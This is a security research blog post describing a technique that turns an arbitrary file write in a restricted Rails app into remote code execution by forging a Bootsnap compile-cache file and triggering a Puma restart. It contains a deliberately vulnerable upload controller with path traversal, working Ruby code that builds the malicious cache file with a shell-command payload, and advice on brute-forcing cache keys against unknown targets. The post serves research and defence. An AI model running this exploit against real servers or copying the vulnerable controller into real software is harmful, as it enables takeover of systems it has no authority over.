Code Fighters

From Arbitrary File Write to RCE in Restricted Rails apps

Introduction

Recently, we came across a situation where we needed to exploit an arbitrary file write vulnerability in a Rails application running in a restricted environment. The application was deployed via a Dockerfile that imposed restrictions on the directories that could be written to.

In this blog post we describe a technique that can be used to achieve remote code execution (RCE) from an arbitrary file write vulnerability by abusing the cache mechanism of Bootsnap, a caching library used in Rails since version 5.2.

The Vulnerability

The vulnerability was a standard arbitrary file write, which can be demonstrated by the following vulnerable code:

class VulnerableController < ApplicationController
  def upload
    uploaded_file = params[:file]
    filename = params[:filename].presence || uploaded_file.original_filename

    save_uploaded_file(uploaded_file, filename)
    render json: { status: "File uploaded successfully!", filename: filename }
  rescue => e
    render json: { error: e.message }, status: :unprocessable_entity
  end

  private

  def save_uploaded_file(uploaded_file, filename)
    upload_path = Rails.root.join("tmp", "uploads")
    FileUtils.mkdir_p(upload_path)

    # Save the file to the upload directory
    File.open(File.join(upload_path, filename), 'wb') do |file|
      file.write(uploaded_file.read)
    end
  end
end

In this sample code we can see that the user has complete control over the file path (via path traversal) and file content, which would allow them to write a file anywhere in the system.

Restrictions

Despite having a pretty strong exploit primitive, the attack was not so trivial because this application had some restrictions regarding the directories that we were allowed to write. This was because it was deployed with the default production Dockerfile that is now generated automatically when creating a new app (rails new) with Rails since version 7.1. [1]

Relevant parts of the Dockerfile can be seen below:

(...)

# Make sure RUBY_VERSION matches the Ruby version in .ruby-version
ARG RUBY_VERSION=3.2.2
FROM docker.io/library/ruby:$RUBY_VERSION-slim AS base

# Rails app lives here
WORKDIR /rails

(...)

# Install application gems
COPY Gemfile Gemfile.lock ./
RUN bundle install && \
    rm -rf ~/.bundle/ "${BUNDLE_PATH}"/ruby/*/cache "${BUNDLE_PATH}"/ruby/*/bundler/gems/*/.git && \
    bundle exec bootsnap precompile --gemfile

# Copy application code
COPY . .

# Precompile bootsnap code for faster boot times
RUN bundle exec bootsnap precompile app/ lib/

(...)

# Run and own only the runtime files as a non-root user for security
RUN groupadd --system --gid 1000 rails && \
    useradd rails --uid 1000 --gid 1000 --create-home --shell /bin/bash && \
    chown -R rails:rails db log storage tmp
USER 1000:1000

# Entrypoint prepares the database.
ENTRYPOINT ["/rails/bin/docker-entrypoint"]

# Start the server by default, this can be overwritten at runtime
EXPOSE 3000
CMD ["./bin/rails", "server"]

At the bottom we can see that it creates a non-root user to run the application, and this user is the owner of only these directories: db, log, storage, tmp and /home/rails. So in short, this restricts the places we can write to, because other interesting files are owned by the root user. Besides these directories, we can still write to some other locations such as /tmp (owned by root but with write permission to everyone), some files at /proc/PID/fd/, etc.

Our Approach: Exploit Through Bootsnap

We then replicated the app environment using Rails 7.2.1.2 to begin an exploitation attempt. By looking at the entries in those directories, one thing caught our attention: bootsnap [2] cache files inside tmp.

Inside tmp/cache/bootsnap we saw the directory structure used by the library for cache files.

We noticed a load-path-cache file containing gem file paths, that we later discovered was in MessagePack format.

And finally a lot of compiled Ruby, JSON and YAML files inside the compile-cache-* directories, following a specific directory structure. The compiled Ruby files stood out to us at first glance.

To better understand all this, we took a look at the documentation and source code of Bootsnap v 1.18.4 [2]. What happens when a Rails app calls bootsnap during startup can be seen in the summary below:

Bootsnap Actions During Rails App Startup (Step-by-Step)

1. Initialization

  • Bootsnap is loaded in config/boot.rb during app startup.
  • It uses Rails.root/tmp/cache as cache dir by default.

2. Overriding require and load

  • Patches Kernel#require and Kernel#load.
  • Prioritizes its cache for file resolution, falling back to Ruby’s LOAD_PATH traversal if needed.

3. Load Path Caching

  • Bootsnap builds or updates a cache of resolved paths for files in LOAD_PATH (load-path-cache file).
  • The cache stores the mapping of requirefile names (e.g., active_record/railtie) to their absolute paths (e.g., /path/to/your/gems/…/active_record/railtie.rb), enabling faster lookups.
  • On every require or load, Bootsnap checks the cache first:
    • Cache Hit: Returns the resolved path immediately.
    • Cache Miss: Falls back to Ruby’s default LOAD_PATH traversal.

4. Compile Cache

  • Bootsnap caches compiled Ruby bytecode (*.rb), YAML (*.yml), and JSON (*.json) files:
    • Ruby Files: Uses RubyVM::InstructionSequence to pre-compile bytecode.
    • YAML and JSON Files: Caches serialized data for faster reuse.
  • Cached files are stored in the cache dir, keyed by a FNV-1a 64 bits hash. For example, the cache file for /path/to/your/gems/…/active_record/railtie.rb would be stored at a file with path similar to tmp/cache/bootsnap/compile-cache-iseq/00/0f2931ea350b70 (fake hash value here just for visualization).
  • Automatically invalidates cache entries when files are updated.

Cache file format

A cache file consists of two parts, the first part is the header (struct bs_cache_key) [5] and the second part is the compiled content of the original file that was cached.

The image below shows a hexdump output of a cache file and the mapping of values in the struct bs_cache_key.

Bootsnap uses most of these fields in a cache validation, as we can see in the code below [6]:

File: ext/bootsnap/bootsnap.c

static enum cache_status cache_key_equal_fast_path(struct bs_cache_key *k1,
                                     struct bs_cache_key *k2) {
  if (k1->version == k2->version &&
          k1->ruby_platform == k2->ruby_platform &&
          k1->compile_option == k2->compile_option &&
          k1->ruby_revision == k2->ruby_revision && k1->size == k2->size) {
      if (k1->mtime == k2->mtime) {
        return hit;
      }
      if (revalidation) {
        return stale;
      }
  }
  return miss;
}

The list below describes the relevant fields:

  • version: The cache format version, ensuring compatibility with the current version of Bootsnap.
  • ruby_platform: Hash of the platform Ruby is running on (e.g., x86_64-linux).
  • compile_option: CRC32 of compilation options used when compiling Ruby files (e.g., optimization flags).
  • ruby_revision: Hash of the specific revision of Ruby (e.g., a git commit hash).
  • size: The size of the original file.
  • mtime: The last modification time of the original file.

With this information in mind, we came up with a plan to achieve RCE by overwriting a cache file.

Exploitation

Our plan was to pick one file that was likely required by the Rails app, overwrite its cached version and trigger an app restart. The reasoning was that when the app requires the target file during startup, it will load our malicious cache, allowing us to achieve RCE.

Overwriting the cache file

We chose to overwrite the cache file for set.rb from the Ruby standard library. It could have been another file as well, but preferably one that would likely be executed by Rails itself, the app, or one of its libraries.

We get the information to fill the cache key inside the docker container. As seen in the Dockerfile, Ruby version is 3.2.2, so the location of the set.rb file is /usr/local/lib/ruby/3.2.0/set.rb. By executing the following Ruby code in the docker container, we easily get the information we need:

require 'json'

def get_info(pattern)
  path = Dir.glob(pattern).first
  json = {
    version: RUBY_VERSION,
    require_target: path,
    revision: RUBY_REVISION,
    size: File.size(path),
    mtime: File.mtime(path).to_i,
    compile_option: RubyVM::InstructionSequence.compile_option.inspect
  }
  JSON.dump(json)
end
puts get_info("/usr/local/lib/ruby/*/set.rb")

{
  "version": "3.2.2",
  "require_target": "/usr/local/lib/ruby/3.2.0/set.rb",
  "revision": "e51014f9c05aa65cbf203442d37fef7c12390015",
  "size": 25920,
  "mtime": 1680174389,
  "compile_option": "{:inline_const_cache=>true, :peephole_optimization=>true, :tailcall_optimization=>false, :specialized_instruction=>true, :operands_unification=>true, :instructions_unification=>false, :stack_caching=>false, :frozen_string_literal=>false, :debug_frozen_string_literal=>false, :coverage_enabled=>true, :debug_level=>0}"
}


Consider this is the value of the ruby_info variable we will from now on.

With this, we could prepare the malicious cache file. First we needed to calculate the correct location for the cache file by replicating the hashing mechanism of Bootsnap [3].

def fnv1a_64(data)
  # FNV-1a 64-bit hash function for a given string
  h = 0xcbf29ce484222325
  data.each_byte do |byte|
    h ^= byte
    h = (h * 0x100000001b3) & 0xFFFFFFFFFFFFFFFF  # Keep it within 64 bits
  end
  h
end

def bs_cache_path(cachedir, path)
  # Generate cache path based on FNV-1a hash
  hash_value = fnv1a_64(path)
  first_byte = (hash_value >> (64 - 8)) & 0xFF
  remainder = hash_value & 0x00FFFFFFFFFFFFFF
  File.join(cachedir, "%02x" % first_byte, "%014x" % remainder)
end

cachedir = "tmp/cache/bootsnap/compile-cache-iseq"
cache_path = bs_cache_path(cachedir, ruby_info[:require_target])
puts "Cache path: #{cache_path}"

Cache path: tmp/cache/bootsnap/compile-cache-iseq/37/4424a5c617f6ec

After that we prepare the content of the cache file by concatenating the cache key with the compiled version of the Ruby code we want to execute:

def generate_evil_cache(cache_path, ruby_info)
  require_target = ruby_info[:require_target]
  payload = <<~PAYLOAD
    `id > >&2`
    `rm -f #{cache_path}`
    load("#{require_target}")
  PAYLOAD

  compiled_binary = RubyVM::InstructionSequence.compile(payload).to_binary

  cache_key = generate_cache_key(ruby_info, compiled_binary.size)

  malicious_path = '/tmp/output_file.bin'
  write_binary_file(malicious_path, cache_key, compiled_binary)

  puts "File written to #{malicious_path}"
  malicious_path
end

def hash_32(data)
  fnv1a_64(data) >> 32
end

def generate_cache_key(ruby_info, data_size)
  {
    version:         6, # for v1.18.4. Depends on bootsnap version
    ruby_platform:   hash_32("x86_64-linux"),
    compile_option:  Zlib.crc32(ruby_info[:compile_option]),
    ruby_revision:   hash_32(ruby_info[:revision]),
    size:            ruby_info[:size],
    mtime:           ruby_info[:mtime],
    data_size:       data_size,
    digest:          31337,
    digest_set:      1,
    pad:             "\0" * 15
  }
end

def write_binary_file(path, cache_key, binary_data)
  File.open(path, 'wb') do |file|
    file.write(pack_cache_key(cache_key))
    file.write(binary_data)
  end
end

def pack_cache_key(cache_key)
  [
    cache_key[:version],
    cache_key[:ruby_platform],
    cache_key[:compile_option],
    cache_key[:ruby_revision],
    cache_key[:size],
    cache_key[:mtime],
    cache_key[:data_size],
    cache_key[:digest],
    cache_key[:digest_set],
    *cache_key[:pad]
  ].pack('L4Q4C1a15')
end

evil_cache = generate_evil_cache(cache_path, ruby_info)

In the code you can see that the first 64 bytes of the file is composed by the cache key, filled with the information we got before, followed by the compiled malicious Ruby code. Note that we used version with value 6 because that is the correct value for Bootsnap v1.18.4 [7].

The payload first executes the command id and redirects its output to stderr. This redirection is just to exhibit the command’s output in the Puma server logs for visualization. Then to avoid infinite recursion we remove our malicious cache and load the original set.rb file, so the Set library will be loaded successfully preventing an application crash.

With the path and content in hand, we use the vulnerability to write our cache file.

Restarting the app

To restart the server we abuse the vulnerability to write anything at tmp/restart.txt. This is a feature of the Puma server [4] and will cause a restart.

RCE

During the server restart, our cache file is executed when a require 'set' statement is run.

Running the exploit

Checking the log of the Rails app

In the picture we can see the two file uploads, followed by a restart and then the output of the id command executed.

The vulnerable app sample, along with the accompanying exploit, can be found at: https://github.com/convisolabs/rails_arb_file_write_bootsnap

Exploitation Possibilities

The white-box exploitation using this technique is easy because we have access to all the necessary information. In a way, the black-box exploitation is also straightforward, as many fields have limited possibilities for values and can be tested using a brute force approach.

The cache key format and validation seem consistent in previous versions of Bootsnap. However, keep in mind that if the target is using a much older version, it could be different.

Let’s discuss about the relevant fields in a cache key:

  • version: This depends on the Bootsnap version, but a value from 3 to 6 should cover the most recent ones (latest version is v1.18.4 [7]).
  • ruby_platform: This will likely be x86_64-linux for most cases.
  • compile_option: This doesn’t seem to change much.
  • ruby_revision: This changes with the Ruby version, but you can generate a database with values for each Ruby version you want to try.
  • size/mtime: These depend on the chosen target file, but you can generate a database for each Ruby version as well.

Also, the path of the original file (e.g. /usr/local/lib/ruby/3.2.0/set.rb) is something that changes with the Ruby version and could be extracted from a database.

For an example of how to generate a database, see the scripts at the repository:

https://github.com/convisolabs/rails_arb_file_write_bootsnap .

Conclusion

In this post we presented an exploitation technique for arbitrary file write vulnerabilities in Rails apps where there is some limitation of the directories where the attacker can write. The technique abuses the Bootsnap library, used by default in recent Rails apps. By overwriting its cache files with malicious content, it becomes possible to achieve arbitrary code execution.

Some possible future work includes better optimization to eliminate the need for any restarts or reduce brute forcing when exploiting in a black-box scenario. Also, one could explore other files to overwrite or try to go for an approach where the exploitation occurs exclusively via /proc/PID/fd files, as shown in this great post [8] from Stefan Schiller.

References

  1. https://rubyonrails.org/2023/10/5/Rails-7-1-0-has-been-released
  2. https://github.com/Shopify/bootsnap/tree/v1.18.4
  3. https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L297
  4. https://github.com/puma/puma/blob/v6.4.3/lib/puma/plugin/tmp_restart.rb
  5. https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L61
  6. https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L315
  7. https://github.com/Shopify/bootsnap/blob/v1.18.4/ext/bootsnap/bootsnap.c#L85
  8. https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/
About author

Articles

Nosso time de pesquisadores de Segurança de Informação dedicados a estudar AppSec de forma contínua para trazer informação e desenvolvimento para a comunidade.
Related posts
Application SecurityCode Fighters

Introduction to Fuzzing Android Native Components: Strategies for Harness Creation

In the previous article, we covered the Android application market, explored basic fuzzing concepts…
Read more
Code Fighters

Introduction to Fuzzing Android Native Components

In recent years, the mobile device market has experienced exponential growth, revolutionizing the…
Read more
Code Fighters

Reversing Tips: (Almost) Automatically renaming functions with Ghidra

Oftentimes when reversing a binary file we encounter the scenario where it doesn’t have…
Read more

Deixe um comentário

Descubra mais sobre Conviso AppSec

Assine agora mesmo para continuar lendo e ter acesso ao arquivo completo.

Continue reading